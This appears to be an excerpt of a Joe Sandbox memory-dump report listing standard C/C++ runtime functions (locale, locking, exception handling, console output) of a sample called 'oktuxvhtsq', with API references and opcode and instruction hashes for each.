Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffa132ca06f9448c5b0b5752e8da5a1b2a77fedf10e59420a88dea36fc394bb0
Instruction ID: f80cafc43d9f947f0d513d4035dff93086ecd6a95d1b82031839b0eea99505e7
Opcode Fuzzy Hash: ffa132ca06f9448c5b0b5752e8da5a1b2a77fedf10e59420a88dea36fc394bb0
Instruction Fuzzy Hash: 91B12774B01225AFDB11DF99E840BAE7BB0AF95314F94415EE4009B382CB789D46CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040A780 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 004071B0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004071C1
Part of subcall function 004071B0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004071CE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A7A3

Part of subcall function 0040A610: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A6A2
Part of subcall function 0040A610: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A6AE
Part of subcall function 0040A610: char_traits.LIBCPMTD ref: 0040A6BA
Part of subcall function 0040A610: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A6EA
Part of subcall function 0040A610: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A6F6
Part of subcall function 0040A610: char_traits.LIBCPMTD ref: 0040A6FF

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A825
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A831
char_traits.LIBCPMTD ref: 0040A83D
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A850
char_traits.LIBCPMTD ref: 0040A859

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: e1636d0c4656c5475909e1116616c83ce152584eb02b43e59d5d082885e95d5b
Instruction ID: 902bc6cb4ac67fbffe6b799e0c1bf63c6b256c6cce2751f125fc2759a57736f3
Opcode Fuzzy Hash: e1636d0c4656c5475909e1116616c83ce152584eb02b43e59d5d082885e95d5b
Instruction Fuzzy Hash: C33143B5A04108EFCB04EF99DD92D9E77B5AF84304F14816DF505AB2D1CB34AE10DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00403030 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040303B
int.LIBCPMTD ref: 0040304D

Part of subcall function 00404D30: std::_Lockit::_Lockit.LIBCPMT ref: 00404D46
Part of subcall function 00404D30: std::_Lockit::~_Lockit.LIBCPMT ref: 00404D70

std::_Lockit::~_Lockit.LIBCPMT ref: 004030DE

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 054e30c82994c5b41a2be6d12de953d42570f3128e780692cf4dd7372a83e31b
Instruction ID: 1e06838a5794ff3d00713b8d08869a75be828dc6c6a671bc93b0d18cb027d70e
Opcode Fuzzy Hash: 054e30c82994c5b41a2be6d12de953d42570f3128e780692cf4dd7372a83e31b
Instruction Fuzzy Hash: B7210E74D00208EBCB04DF95D881AEEBBB4EB48305F20826AE91577394DB34AF41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00403270 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040327B
int.LIBCPMTD ref: 0040328D

Part of subcall function 00404D30: std::_Lockit::_Lockit.LIBCPMT ref: 00404D46
Part of subcall function 00404D30: std::_Lockit::~_Lockit.LIBCPMT ref: 00404D70

std::_Lockit::~_Lockit.LIBCPMT ref: 0040331E

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 390f9535042092ffef96d26aab171cb12a6a63391c85627784c44cf0f1f9f271
Instruction ID: f14eca40ba20ec4c4653a20a591432918aae2fe78fd1373e7fea217ff8a958eb
Opcode Fuzzy Hash: 390f9535042092ffef96d26aab171cb12a6a63391c85627784c44cf0f1f9f271
Instruction Fuzzy Hash: 7921C074D00108EBCB04EFD5D5819EEBBB5AF48305F2082AAE91577390DB34AF45DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00403330 Relevance: 9.1, APIs: 6, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040333B
int.LIBCPMTD ref: 0040334D

Part of subcall function 00404D30: std::_Lockit::_Lockit.LIBCPMT ref: 00404D46
Part of subcall function 00404D30: std::_Lockit::~_Lockit.LIBCPMT ref: 00404D70

std::_Lockit::~_Lockit.LIBCPMT ref: 004033DB

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: bb25dca8c21eabe31973e422c0a230592a0ab11695ad146a58683e1482870424
Instruction ID: 730fd3d8916e046cc550bf57b38d08ca25a081fa70df42b518c58a2996071f8e
Opcode Fuzzy Hash: bb25dca8c21eabe31973e422c0a230592a0ab11695ad146a58683e1482870424
Instruction Fuzzy Hash: 88211074D00108EBCB04DF95D481AEEBBB4EF48304F20856AE915B7390DB74AF41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 004142D7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,004142CE,00410E32), ref: 004142E5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004142F3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0041430C
SetLastError.KERNEL32(00000000,?,004142CE,00410E32), ref: 0041435E

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 45708c2d7b4856b79ccb0322211090b0dc1c061b295de7347df7c733d87a2358
Instruction ID: 8509f2b2f643eb6da479c17c4eccd590ee7246626f0016df3b8a30c8b735b793
Opcode Fuzzy Hash: 45708c2d7b4856b79ccb0322211090b0dc1c061b295de7347df7c733d87a2358
Instruction Fuzzy Hash: CB0147363083116EA62427767C899E72754DFD27B8B20023FFA30952E0EF699CD3568D

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF06 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__Getcvt.LIBCPMT ref: 0040CF5E
MultiByteToWideChar.KERNEL32(k)@,00000009,?,00000002,?,00000000), ref: 0040CFAC
MultiByteToWideChar.KERNEL32(k)@,00000009,00000001,00000001,?,00000000), ref: 0040D01E
MultiByteToWideChar.KERNEL32(k)@,00000009,00000001,00000001,?,00000000), ref: 0040D046

Strings

k)@, xrefs: 0040CF1E, 0040CFAA, 0040D01C, 0040D044

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Getcvt
String ID: k)@
API String ID: 3195005509-2304320424
Opcode ID: b9dd068e57f5341b742b4849332f2140f9481da646387e3cdc0037eabdec8818
Instruction ID: cc1d0dba6b3b34ddb9ee8b734f2fefd702c856f6dab0a067d9e499ef6c51393f
Opcode Fuzzy Hash: b9dd068e57f5341b742b4849332f2140f9481da646387e3cdc0037eabdec8818
Instruction Fuzzy Hash: 2241B131600346EFDB218F65C880B6BBBFAAF41314F14467BF851AB2D0D779A845CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041A214 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D85DCB61,?,?,00000000,0042DCC1,000000FF,?,0041A1AE,?,?,0041A182,?), ref: 0041A249
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,00000000,0042DCC1,000000FF,?,0041A1AE,?,?,0041A182,?), ref: 0041A25B
FreeLibrary.KERNEL32(00000000,?,00000000,0042DCC1,000000FF,?,0041A1AE,?,?,0041A182,?), ref: 0041A27D

Strings

CorExitProcess, xrefs: 0041A253
mscoree.dll, xrefs: 0041A242

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 733298ac588f38aa2e65a57226c6cc0f45604df62740eebb700d0fbe2d802aad
Instruction ID: 18aa333287d6022db56daf034ee4830fea0bb97504dcdd700c4b7dc8220636e3
Opcode Fuzzy Hash: 733298ac588f38aa2e65a57226c6cc0f45604df62740eebb700d0fbe2d802aad
Instruction Fuzzy Hash: 4001A271A40625EFDB118F51DC09BAEBBB8FB04B11F000A36F811A2390DB799910CA58

Uniqueness

Uniqueness Score: -1.00%

Function 0040E29D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0040E2A4

Strings

, xrefs: 0040E3E6

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: H_prolog3_
String ID:
API String ID: 2427045233-3916222277
Opcode ID: 3bb267ec27fb3332219eb9eaac7cb896bfd6da9ca562e418f0187729ae5a19f8
Instruction ID: b75de62933ca69aa3a2de2d7f85a5b6c3851e23c03171160e2342b56abe1866f
Opcode Fuzzy Hash: 3bb267ec27fb3332219eb9eaac7cb896bfd6da9ca562e418f0187729ae5a19f8
Instruction Fuzzy Hash: B6517E319002059FDF24DB96C480AAEB7B1FF58324F54483EE942B77C1D738A955CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00406F40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 004067A0: __Getcvt.LIBCPMT ref: 004067AF

_Maklocchr.LIBCPMTD ref: 0040704F
_Maklocchr.LIBCPMTD ref: 00407066

Strings

pB, xrefs: 00406FA9

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Maklocchr$Getcvt
String ID: pB
API String ID: 1068779903-3059159000
Opcode ID: 2ab8de39bbb2b37282b8e654738e84b15c8aff831b67239a12815e7fcf2c1cb0
Instruction ID: 355146b3e8986f8a6780d4a2e3957cce70afceab5ade8ca11c79d162e8a9a7ef
Opcode Fuzzy Hash: 2ab8de39bbb2b37282b8e654738e84b15c8aff831b67239a12815e7fcf2c1cb0
Instruction Fuzzy Hash: 3A417FB5E00209ABCB04DF91D851BAFB775AF84304F20812EE5056B3C1DB75AA42CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0041EE05 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0041EE68

Part of subcall function 00424311: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00421F6C,?,00000000,-00000008), ref: 00424372

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0041F0BA
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0041F100
GetLastError.KERNEL32 ref: 0041F1A3

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: f4d446c7503e1caa4bc12088dfa2aa6da3dfbd4309480915beb3954a17425044
Instruction ID: 60cf06c8ceb0ea5622d3c444de1fe9ac85f18442b5a7983a7f22b62e23fd56b5
Opcode Fuzzy Hash: f4d446c7503e1caa4bc12088dfa2aa6da3dfbd4309480915beb3954a17425044
Instruction Fuzzy Hash: 3ED18D75D00288EFDF14CFA9D880AEDBBB4FF49314F28452AE816E7351D634A946CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004072A0 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 004072D2
char_traits.LIBCPMTD ref: 004073B0
std::ios_base::good.LIBCPMTD ref: 00407439

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: std::ios_base::good$char_traits
String ID:
API String ID: 1812610724-0
Opcode ID: eeb8f94b9ed67efd90668f5281338567e17da3a2cc540025e6dc43144ba327f4
Instruction ID: 9152e7101a80daff8bfac9f51ad5fc1f3c72c29d40b5916afd4a3ffe7faa4ee7
Opcode Fuzzy Hash: eeb8f94b9ed67efd90668f5281338567e17da3a2cc540025e6dc43144ba327f4
Instruction Fuzzy Hash: FD514174E042099BCB04DB65C891A7FB776EF85304F14812ED9127B3D2DB3DA806DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B100 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

char_traits.LIBCPMTD ref: 0040B140
char_traits.LIBCPMTD ref: 0040B175
char_traits.LIBCPMTD ref: 0040B190
char_traits.LIBCPMTD ref: 0040B1BB

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: char_traits
String ID:
API String ID: 1158913984-0
Opcode ID: a5343bf2346bdb53e67bd871a3801ee3ca0ad45806965aedfa5f842b9be2caf6
Instruction ID: a8902f6be5721ce8c6493102739b7e83ca2cc6847c7aa7f5647aebcc1ea0a5cb
Opcode Fuzzy Hash: a5343bf2346bdb53e67bd871a3801ee3ca0ad45806965aedfa5f842b9be2caf6
Instruction Fuzzy Hash: 433184B5D00208ABCB04EFA1D851AEE7775AF50348F04407FE9017B282EB3D9A95C7DA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B9D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

fpos.LIBCPMTD ref: 0040B9EA
fpos.LIBCPMTD ref: 0040BA77
fpos.LIBCPMTD ref: 0040BA88
fpos.LIBCPMTD ref: 0040BAB9

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: fpos
String ID:
API String ID: 1083263101-0
Opcode ID: 35462dccf0758a2ee716e78d3c3bd8a0bb9d6883d135a31e14104f2abf990f43
Instruction ID: 329a20781235309f49dfdd178b828fc557bafb4d1009888ab75be2d596dfbd6a
Opcode Fuzzy Hash: 35462dccf0758a2ee716e78d3c3bd8a0bb9d6883d135a31e14104f2abf990f43
Instruction Fuzzy Hash: 5E31D875A10109EFCB04DF99D991DEEB7B5EF88300F5081AAE905A7291E734AF00CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405370 Relevance: 6.1, APIs: 4, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00405398
Concurrency::cancel_current_task.LIBCPMT ref: 004053C9
new.LIBCMT ref: 004053D2

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 2b5eaf0dcdf67d288a6363ed27ef4a31213a6677d72f55555049c1e4a6f99ce9
Instruction ID: ed6f9a79429c89acc8542604aa524be87d10e3adc822abb8cc19a903b67f55c3
Opcode Fuzzy Hash: 2b5eaf0dcdf67d288a6363ed27ef4a31213a6677d72f55555049c1e4a6f99ce9
Instruction Fuzzy Hash: 34216F70D01508EBDF14DFA5C58079EB7B1EF44345F1085AAE8156B281D378AA90CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00411AB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00411ACE

Part of subcall function 00412106: ___AdjustPointer.LIBCMT ref: 00412150

_UnwindNestedFrames.LIBCMT ref: 00411AE5
___FrameUnwindToState.LIBVCRUNTIME ref: 00411AF7
CallCatchBlock.LIBVCRUNTIME ref: 00411B1B

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 290c27d956fc69be8811d5bde271c4c0a4e5c50b55fa3a1459f3ed676d75112c
Instruction ID: 0dae1eca49bf3e44668aecf27d4fec388fac26295aa8cdfbd0b11976d9886a99
Opcode Fuzzy Hash: 290c27d956fc69be8811d5bde271c4c0a4e5c50b55fa3a1459f3ed676d75112c
Instruction Fuzzy Hash: 3F01D732000109BBCF12AF56CC41EDB3FBAFF48754F15841AFA5865121D77AE8A1DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0042C769 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0042C780
GetLastError.KERNEL32(?,0042847E,00000000,00000001,?,?,?,0041F1F7,?,00000000,00000000,?,?,?,0041F7D1,00000000), ref: 0042C78C

Part of subcall function 0042C752: CloseHandle.KERNEL32(FFFFFFFE), ref: 0042C762

___initconout.LIBCMT ref: 0042C79C

Part of subcall function 0042C714: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000), ref: 0042C727

WriteConsoleW.KERNEL32 ref: 0042C7B1

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b984403707ad243fa86e60d953929dc35c343f4df83341fb6bac7fbd876e38fa
Instruction ID: e7eb7c13d01b286deb2aa3facca690a0e7735a60948a661f092ff582ac54949b
Opcode Fuzzy Hash: b984403707ad243fa86e60d953929dc35c343f4df83341fb6bac7fbd876e38fa
Instruction Fuzzy Hash: 0BF01236200135BBCF221FD2EC44A9E3F26FB493E0B444425FA1895130C7318921DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00407480 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

ctype.LIBCPMTD ref: 0040755E
std::ios_base::width.LIBCPMTD ref: 004077E4

Part of subcall function 00404CE0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00404CEA

Strings

@, xrefs: 00407688

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWorkctypestd::ios_base::width
String ID: @
API String ID: 46849196-2766056989
Opcode ID: 0476d762f8e1408e5cb70a481e6eb6227674a0d484e298158af9c116490829e3
Instruction ID: 53ccb4a0ce088ce96476172d5abb8a6e5729ef52891f82e14a3172199b56a592
Opcode Fuzzy Hash: 0476d762f8e1408e5cb70a481e6eb6227674a0d484e298158af9c116490829e3
Instruction Fuzzy Hash: EBD138B5D04108AFCB04DF99C991EEE77B5AF88304F14816EF905A7291DB38AE41CB95

Uniqueness

Uniqueness Score: -1.00%

